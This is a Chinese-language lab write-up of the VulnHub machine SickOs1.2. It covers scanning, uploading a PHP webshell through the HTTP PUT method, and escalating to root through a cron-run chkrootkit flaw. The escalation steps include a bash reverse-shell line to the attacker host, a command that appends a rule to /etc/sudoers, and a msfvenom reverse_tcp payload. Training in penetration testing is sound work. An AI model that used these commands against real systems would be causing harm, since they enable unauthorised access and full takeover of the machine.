vulnhub-SickOs1.2

kali: 192.168.56.109
靶机:192.168.56.123

nmap -A -O -p- 192.168.56.123

Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 668cc0f2857c6cc0f6ab7d480481c2d4 (DSA)
|   2048 ba86f5eecc83dfa63ffdc134bb7e62ab (RSA)
|_  256 a16cfa18da571d332c52e4ec97e29eaf (ECDSA)
80/tcp open  http    lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:BA:0C:FC (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

文件上传漏洞

各种工具扫描web站点,dirb nikto skipfish AWVS
其中 /test/ 为浏览文件的空文件夹,可看见是 lighttpd 的服务

使用Skipfish扫描后发现多了一个文件

通过尝试发现可以使用PUT方法上传文件

weevely生成php木马,PUT上传

curl --upload-file xxx.php --url http://192.168.56.123/test/xxx.php -0 此处 -0 指定 http1.0,否则不成功

获得shell后发现无法使用python反弹shell,应该是防火墙的规则限制,不允许出站流量。

看其他writeup,此处只允许连接到其他机器的 443 8080 两个端口,应该可以通过脚本尝试出来。

此处不能通过wget上传文件,可以使用weevely的 :file_uploadcurl --upload-file LinEnum.sh --url http://xxxx -0

漏洞利用

使用信息枚举脚本,发现:

  1. 普通用户john拥有sudo权限
  2. 定时任务 chkrootkit
  3. 内核版本 3.11.0-15-generic 可能存在漏洞
  4. Sudo version 1.8.3p1 可能存在缓冲区溢出

通过 find / -name chkrootkit* 2>/dev/null 查找文件,将其复制到 /var/www/test 目录下,然后下载文件

存在任意命令执行漏洞:

创建文件 /tmp/update 赋予可执行权限,等定时任务执行它(msf 已存在脚本,可直接利用):

  1. 反弹 root shell

    echo '#!/bin/bash\nbash -i >& /dev/tcp/192.168.56.109/8080 0>&1\n' >> /tmp/update
    chmod 777 /tmp/update
    nc -lvp 8080


  2. 给 www-data 用户添加sudo权限

    echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSED: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
    chmod +x /tmp/update

  3. 用msf生成可执行文件
    msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf LHOST=192.168.56.109 LPORT=443 -o update

/root 目录下有一个文件记录了防火墙规则

posted @ 2022-12-31 14:41  某某人8265  阅读(22)  评论(0编辑  收藏  举报